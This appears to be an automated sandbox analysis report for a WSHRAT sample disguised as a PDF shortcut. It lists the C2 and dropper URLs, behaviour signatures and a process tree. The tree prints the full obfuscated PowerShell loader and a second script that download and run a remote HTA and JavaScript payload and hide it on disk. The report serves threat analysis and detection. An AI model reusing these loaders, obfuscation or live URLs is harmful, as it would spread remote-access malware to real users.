Analysis

  • max time kernel
    144s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220722-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220722-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/07/2022, 09:21

General

  • Target
    Invoice.pdf.lnk
  • Size 3KB
  • Sample220727-lbbqaacdcq
  • SHA256 8c9d00375d44842c536848a04273da0932fd13c40582443ed42607f328a5f005
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://40.65.123.35/trow.hta

Extracted

Family
  • wshrat

C2
  • http://3.tcp.eu.ngrok.io:26042

Signatures

  • WSHRAT

    WSHRAT is a variant of Houdini worm and has vbs and js variants.

  • Blocklisted process makes network request 26 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Script User-Agent 22 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Invoice.pdf.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1168
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ErrorActionPreference=0; $cBOwUf = $Null; $xAgegrp = 'Lt.pytlLlBrQdTxo.5d0h.VYEI3nffs/1k6HIwX/NKd.STf43tIp~2Fa5OAtwoZCqrmAha/fBWt:btwJ'; sal IAffu ($xAgegrp[(-4422+4452)]+$xAgegrp[(-32914+32969)]+$xAgegrp[(2351-2351)]); IAffu oCudms ($xAgegrp[(-63176+63201)]+$xAgegrp[(173-149)]+$xAgegrp[(12388-12374)]); IAffu krYMcXGHG ($xAgegrp[(-64207+64273)]+$xAgegrp[(-4422+4452)]+$xAgegrp[(47148-47128)]+$xAgegrp[(-17057+17058)]+$xAgegrp[(-32914+32969)]); foreach($TQTrPTP in @((-60487+60507),(-12002+12003),(-16160+16161),(33904-33901),(-39446+39521),(-13622+13653),(57741-57710),(29097-29050),(3968-3949),(-2593+2595),(25707-25673),(10215-10198),(55025-55023),(61294-61262),(61008-60955),(7773-7747),(43764-43762),(-6821+6847),(47344-47327),(-1588+1619),(-64972+64973),(24817-24807),(-51793+51808),(22833-22796),(-37413+37415),(-18072+18092),(38501-38500),(-45341+45396))) {$cBOwUf+=$xAgegrp[$TQTrPTP]}; oCudms ("krYMcXGHG $cBOwUf");
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4940
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" http://40.65.123.35/trow.hta
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3232
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function LDpShDPeBhi($hMnAhOHOShc, $XtysCojvVrqYcl){[IO.File]::WriteAllBytes($hMnAhOHOShc, $XtysCojvVrqYcl)};function JuvLhFNpblsbfCWgz($hMnAhOHOShc){if($hMnAhOHOShc.EndsWith((zeifwUoBbuGM @(59194,59248,59256,59256))) -eq $True){rundll32.exe $hMnAhOHOShc }elseif($hMnAhOHOShc.EndsWith((zeifwUoBbuGM @(59194,59260,59263,59197))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $hMnAhOHOShc}else{Start-Process $hMnAhOHOShc}};function BrycbnKqTgAxXjMljOHt($LDpShDPeBhi){$fZKHJqgarsRfpARKDnbu=(zeifwUoBbuGM @(59220,59253,59248,59248,59249,59258));$uGNTkcYTQmQD=(Get-ChildItem $LDpShDPeBhi -Force);$uGNTkcYTQmQD.Attributes=$uGNTkcYTQmQD.Attributes -bor ([IO.FileAttributes]$fZKHJqgarsRfpARKDnbu).value__};function rrnLOYTMDlbPiRMAb($JgZprrutGNaGJGKHcku){$FQQeCTwNCTw = New-Object (zeifwUoBbuGM @(59226,59249,59264,59194,59235,59249,59246,59215,59256,59253,59249,59258,59264));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$XtysCojvVrqYcl = $FQQeCTwNCTw.DownloadData($JgZprrutGNaGJGKHcku);return $XtysCojvVrqYcl};function zeifwUoBbuGM($eHoa){$RNgXAztR=59148;$ILtFteRHGhSv=$Null;foreach($LtCXVvdrZKiSRjoxa in $eHoa){$ILtFteRHGhSv+=[char]($LtCXVvdrZKiSRjoxa-$RNgXAztR)};return $ILtFteRHGhSv};function FkvLyITIOC(){$ilMqxptPYKJCEV = $env:AppData + '\';$hQxRxZFbsigBCoiek = $ilMqxptPYKJCEV + 'Capture.png';If(Test-Path -Path $hQxRxZFbsigBCoiek){Invoke-Item $hQxRxZFbsigBCoiek;}Else{ $uLaudeszPrZ = rrnLOYTMDlbPiRMAb (zeifwUoBbuGM @(59252,59264,59264,59260,59263,59206,59195,59195,59253,59194,59253,59246,59246,59194,59247,59259,59195,59224,59226,59218,59266,59270,59266,59251,59195,59215,59245,59260,59264,59265,59262,59249,59194,59260,59258,59251));LDpShDPeBhi $hQxRxZFbsigBCoiek $uLaudeszPrZ;Invoke-Item $hQxRxZFbsigBCoiek;};$nibBBmxTmhE = $ilMqxptPYKJCEV + 'trow.js'; if (Test-Path -Path $nibBBmxTmhE){JuvLhFNpblsbfCWgz $nibBBmxTmhE;}Else{ $fSvARjVXKWP = rrnLOYTMDlbPiRMAb (zeifwUoBbuGM @(59252,59264,59264,59260,59206,59195,59195,59200,59196,59194,59202,59201,59194,59197,59198,59199,59194,59199,59201,59195,59264,59262,59259,59267,59194,59254,59263));LDpShDPeBhi $nibBBmxTmhE $fSvARjVXKWP;JuvLhFNpblsbfCWgz $nibBBmxTmhE;};BrycbnKqTgAxXjMljOHt $nibBBmxTmhE;;;;;}FkvLyITIOC;
          4⤵
          • Blocklisted process makes network request
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1468
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\trow.js"
            5⤵
            • Blocklisted process makes network request
            • Drops startup file
            PID:4952

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 5540f4ea6d18b1aa94a3349652133a4f6641d456757499b7ab12e7ee8f396134
        • MD5 SHA1 SHA512

        trow.js

        • Path C:\Users\Admin\AppData\Roaming\trow.js
        • Size 206KB
        • SHA256 0a9b0c1f4195287ab189b9ab8c356d50bb2aacf5587a75312ce129374b8c91a0
        • MD5 SHA1 SHA512 SSDEEP

        memory/1468-140-0x00007FFD2B7C0000-0x00007FFD2C281000-memory.dmp

        memory/1468-143-0x00007FFD2B7C0000-0x00007FFD2C281000-memory.dmp

        memory/4940-133-0x0000027138BF0000-0x0000027138C12000-memory.dmp

        memory/4940-135-0x00007FFD2BFC0000-0x00007FFD2CA81000-memory.dmp

        memory/4940-144-0x00007FFD2BFC0000-0x00007FFD2CA81000-memory.dmp